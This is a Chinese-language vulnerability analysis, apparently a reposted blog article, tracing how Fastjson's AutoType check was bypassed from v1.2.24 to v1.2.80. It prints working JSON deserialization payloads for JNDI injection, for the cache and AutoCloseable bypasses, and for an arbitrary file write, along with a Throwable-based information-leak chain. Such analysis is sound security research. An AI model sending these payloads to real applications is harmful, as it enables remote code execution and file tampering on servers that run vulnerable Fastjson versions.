Fastjson v1.2.80 Throwable AutoType 機(jī)制繞過(guò)漏洞分析

聲明

以下內(nèi)容默伍,來(lái)自且聽(tīng)安全公眾號(hào)的QCyber作者原創(chuàng)传货,由于傳播惫东,利用此文所提供的信息而造成的任何直接或間接的后果和損失莉给,均由使用者本人負(fù)責(zé),長(zhǎng)白山攻防實(shí)驗(yàn)室以及文章作者不承擔(dān)任何責(zé)任廉沮。

0x01 漏洞信息

近期Fastjson Develop Team報(bào)告了Fastjson v1.2.80存在AutoType繞過(guò)反序列化漏洞颓遏,通報(bào)如下:

漏洞在特定條件下可以繞過(guò)默認(rèn)關(guān)閉的AutoType限制,結(jié)合一個(gè)新的利用鏈废封,可實(shí)現(xiàn)RCE 州泊。

0x02 AuthType 機(jī)制

Fastjson通過(guò)函數(shù)`parse`或者`parse-Object`來(lái)完成字符串的反序列化操作丧蘸,并且可以通過(guò)`@type`來(lái)指定反序列化的類(lèi)型漂洋。

Fastjson v1.2.24可以通過(guò)

'JdbcRowSetImpl`來(lái)實(shí)現(xiàn)JNDI注入:

{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://localhost:1389/test",   "autoCommit":true}

Fastjson v1.2.25推出了AutoType機(jī)制,在`DefaultJSONParser`中增加了 `checkAutoType`檢查:

`checkAutoType`中存在黑白名單檢查:

`autoTypeSupport`默認(rèn)為`False` 力喷,為了運(yùn)行通過(guò)`@type`指定反序列化類(lèi)型刽漂,正常情況下需要手動(dòng)進(jìn)行設(shè)置:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

同時(shí)還存在黑名單校驗(yàn):

所以Fastjson繞過(guò)歷史可以分為AutoType機(jī)制繞過(guò)和黑名單繞過(guò),絕大部分都是尋找一個(gè)新的利用鏈來(lái)繞過(guò)黑名單弟孟,所以Fastjson官方的黑名單列表越來(lái)越大贝咙,但是更有意義的繞過(guò)顯然是AutoType機(jī)制繞過(guò),這樣無(wú)需手動(dòng)配置 `autoTypeSupport`也可能進(jìn)行利用拂募。

0x03?Fastjson v1.2.47 繞過(guò)

Payload 如下:

{    "x": {        "@type": "java.lang.Class",        "val": "com.sun.rowset.JdbcRowSetImpl"    },    "y": {        "@type": "com.sun.rowset.JdbcRowSetImpl",        "dataSourceName": "ldap://localhost:1389/test",        "autoCommit": true    }}

在進(jìn)入`checkAutoType`之前庭猩,調(diào)用

`TypeUtils#addBaseClassMappings`函數(shù)將常見(jiàn)類(lèi)加載到緩存的`mapping`對(duì)象:

然后進(jìn)入`checkAutoType` ,因?yàn)閌auto-TypeSupport`默認(rèn)為`False` 陈症,

所以嘗試從`mapping`或者`deseriali-zers.findClass`中加載類(lèi):

通過(guò)`deserializers#findClass` 可以找到`java.lang.Class` 類(lèi)蔼水;

回到`DefaultJSONParser` ,一直進(jìn)入到第358行獲取的`deserializer`對(duì)象為 `MiscCodec`類(lèi)型录肯,一直往下走趴腋,通過(guò)函數(shù)`deserialze`開(kāi)始反序列化操作:

通過(guò)`parser.paese`提取到`objVal`的值為:

`com.sun.rowset.JdbcRowSetImpl`?

繼續(xù)往下走,一直到達(dá)如下判斷:

跟進(jìn) `TypeUtils.loadClass` :

在程序上下文環(huán)境中加載

`com.sun.rowset.JdbcRowSetImpl`類(lèi)型并加入到`mapping`中。

由于我們Payload傳入2個(gè)Json對(duì)象优炬,所以會(huì)再次調(diào)用`check-AutoType` :

此時(shí)在進(jìn)行AutoType機(jī)制檢查前已經(jīng)返回了`clazz` :

所以實(shí)現(xiàn)了AutoType機(jī)制的繞過(guò)颁井。在v1.2.48版本中將`java.lang.Class`加入了黑名單。

0x04?Fastjson v1.2.50?繞過(guò)

Payload 如下:

{    "@type":"java.lang.AutoCloseable",    "@type":"oracle.jdbc.rowset.OracleJDBCRowSet",    "dataSourceName":"ldap://localhost:1389/test",    "command":"a"}

回到`checkAutoType`函數(shù):

要想`expectClassFlag`取值為`True`蠢护,那么傳入`checkAutoType`的`expectClass`類(lèi)對(duì)象應(yīng)該非空雅宾。

第一次從`parse`調(diào)用`checkAuto-Type`時(shí),`expectClass`取值為`null` 葵硕,繼續(xù)往下走:

如果在緩存`mapping`中能夠匹配到類(lèi)秀又,`checkAutoType`將返回該類(lèi)型對(duì)象。

Payload中用到的`java.lang.Auto-Closeable`正好位于緩存`mapping`

(`TypeUtils#addBaseClassMappings`)

繼續(xù)往下走:

因?yàn)閌clazz`取值為`java.lang.Auto-Closeable` :

所以獲取的`ObjectDeserializer`對(duì)象為`JavaBeanDeserializer`類(lèi)型跟進(jìn)

`JavaBeanDeserializer#deserialze`

會(huì)再次調(diào)用`checkAutoType`贬芥,

此時(shí)會(huì)將第二個(gè)`@type` 和非空的`expectClass` 傳進(jìn)去:

此時(shí)因?yàn)閌expectClass`非空吐辙,所以繞過(guò)了AuthType檢查機(jī)制。同時(shí)后面通過(guò) `TypeUtils#loadClass`加載類(lèi)的過(guò)程中蘸劈,調(diào)用了`isAssignableFrom`昏苏,用來(lái)判斷反序列化的類(lèi)是否實(shí)現(xiàn)了`expectClass`接口,如果是將返回反序列化類(lèi)對(duì)象威沫。

`oracle.jdbc.rowset.OracleJDBCRowSet`繼承關(guān)系如下圖所示:

后面實(shí)現(xiàn) JNDI 注入的過(guò)程就不分析了贤惯。在 v1.2.51 版本的補(bǔ)丁中只是將 `oracle.jdbc.rowset.OracleJDBCRowSet` 添加進(jìn)入了黑名單。

0x05?Fastjson v1.2.68 繞過(guò)

嚴(yán)格意義上講v1.2.68不是真正的AuthType繞過(guò)棒掠。

回顧前面的分析孵构,由于 Fastjson并未將`java.lang.AutoCloseable`加入黑名單,所以理論上只要再尋找一個(gè)類(lèi)繼承于`java.lang.AutoCloseable` 烟很,并且不在黑名單中颈墅,同時(shí) get/set中存在可利用的操作即可。

Fastjson v1.2.68 繞過(guò)借助的類(lèi)為`sun.rmi.server.MarshalOutputStream` 雾袱,繼承關(guān)系如下:

最終可以實(shí)現(xiàn)任意文件寫(xiě)入恤筛,Payload 如下:

{    "@type": "java.lang.AutoCloseable",    "@type": "sun.rmi.server.MarshalOutputStream",    "out": {        "@type": "java.util.zip.InflaterOutputStream",        "out": {           "@type": "java.io.FileOutputStream",           "file": "/tmp/asdasd",           "append": true        },        "infl": {           "input": {               "array": "eJxLLE5JTCkGAAh5AnE=",               "limit": 14           }        },        "bufLen": "100"    },    "protocolVersion": 1}

AuthType繞過(guò)過(guò)程與v1.2.50一樣,觸發(fā)任意文件寫(xiě)入的過(guò)程就不進(jìn)行分析了芹橡。

v1.2.69版本終于將`java.lang.Auto-Closeable`加入了黑名單毒坛,那么v1.2.50和v1.2.68的繞過(guò)方式也就無(wú)效了。

0x06??Fastjson v1.2.80?繞過(guò)

回顧v1.2.50和v1.2.68的繞過(guò)方式林说,主要是在`ObjectDeserializer`接口的子類(lèi) `JavaBeanDeserializer`中存在`expectClass`非空的`checkAuto-Type`調(diào)用煎殷,這也是繞過(guò)的關(guān)鍵。

順著這個(gè)思路腿箩,我們繼續(xù)在`Object-Deserializer`接口的其他子類(lèi)中尋找`expectClass'非空的`checkAuto-Type`調(diào)用:

除了`JavaBeanDeserializer`之外豪直,在子類(lèi)`ThrowableDeserializer`的函數(shù) `deserialze`中也存在滿(mǎn)足條件的調(diào)用:

從`expressClass`定義來(lái)看,利用鏈類(lèi)型必須繼承于`Throwable` 度秘。我們可以構(gòu)造如下測(cè)試來(lái)調(diào)試一下解析過(guò)程(`java.lang.Exception`繼承于 `Throwable`):

{  "@type":"java.lang.Exception",   "@type":"test",  "a":"test"}

第一次進(jìn)入`checkAutoType`函數(shù)顶伞,?`expressClass`參數(shù)為空:

嘗試從緩存`mapping`中實(shí)例化?

`clazz`(`TypeUtils#addBaseClassMappings`已經(jīng)將`java.lang.Exception` 加入了`mapping`):

往下走`getDeserializer`返回的`ObjectDeserializer` 為`Throwable-Deserializer`類(lèi)型:

進(jìn)入

`ThrowableDeserializer#deserialze` 饵撑,順利到達(dá)`checkAutoType`:

與前面分析的繞過(guò)類(lèi)似,第二次進(jìn)入`checkAutoType` 時(shí)唆貌,`express-Class` 取值非空滑潘,從而實(shí)現(xiàn)繞過(guò)。

其實(shí)這種繞過(guò)方式在 2020 年就已經(jīng)有大佬放出來(lái)了:

{  "x":{    "@type":"java.lang.Exception",    "@type":"org.openqa.selenium.WebDriverException"  },  "y":{    "$ref":"$x.systemInformation"  }}

這是一個(gè)信息泄露的利用鏈锨咙,這條鏈的分析網(wǎng)上已經(jīng)不少了语卤,這里就不重復(fù)了。最近官方通報(bào)漏洞應(yīng)該是有人找到了能夠 RCE 的利用鏈酪刀,查看 v1.2.81 的黑名單可以看到新增了不少 hash (但是還沒(méi)分析出來(lái)是哪個(gè)鏈粹舵,研究出來(lái)了再分享給大家吧~)。

原文鏈接:

https://mp.weixin.qq.com/s/kjttmJHtBiuYHItdmVTEIA?notreplace=true


?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末骂倘,一起剝皮案震驚了整個(gè)濱河市眼滤,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌历涝,老刑警劉巖诅需,帶你破解...
    沈念sama閱讀 218,284評(píng)論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異荧库,居然都是意外死亡堰塌,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,115評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)分衫,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)场刑,“玉大人,你說(shuō)我怎么就攤上這事蚪战∏O郑” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 164,614評(píng)論 0 354
  • 文/不壞的土叔 我叫張陵屎勘,是天一觀的道長(zhǎng)施籍。 經(jīng)常有香客問(wèn)我居扒,道長(zhǎng)概漱,這世上最難降的妖魔是什么? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,671評(píng)論 1 293
  • 正文 為了忘掉前任喜喂,我火速辦了婚禮瓤摧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘玉吁。我一直安慰自己照弥,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,699評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布进副。 她就那樣靜靜地躺著这揣,像睡著了一般悔常。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上给赞,一...
    開(kāi)封第一講書(shū)人閱讀 51,562評(píng)論 1 305
  • 那天机打,我揣著相機(jī)與錄音,去河邊找鬼片迅。 笑死残邀,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的柑蛇。 我是一名探鬼主播芥挣,決...
    沈念sama閱讀 40,309評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼耻台!你這毒婦竟也來(lái)了空免?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,223評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤盆耽,失蹤者是張志新(化名)和其女友劉穎鼓蜒,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體征字,經(jīng)...
    沈念sama閱讀 45,668評(píng)論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡都弹,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,859評(píng)論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了匙姜。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片畅厢。...
    茶點(diǎn)故事閱讀 39,981評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖氮昧,靈堂內(nèi)的尸體忽然破棺而出框杜,到底是詐尸還是另有隱情,我是刑警寧澤袖肥,帶...
    沈念sama閱讀 35,705評(píng)論 5 347
  • 正文 年R本政府宣布咪辱,位于F島的核電站,受9級(jí)特大地震影響椎组,放射性物質(zhì)發(fā)生泄漏油狂。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,310評(píng)論 3 330
  • 文/蒙蒙 一寸癌、第九天 我趴在偏房一處隱蔽的房頂上張望专筷。 院中可真熱鬧,春花似錦蒸苇、人聲如沸磷蛹。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,904評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)味咳。三九已至庇勃,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間槽驶,已是汗流浹背匪凉。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,023評(píng)論 1 270
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留捺檬,地道東北人再层。 一個(gè)月前我還...
    沈念sama閱讀 48,146評(píng)論 3 370
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像堡纬,于是被迫代替她去往敵國(guó)和親聂受。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,933評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容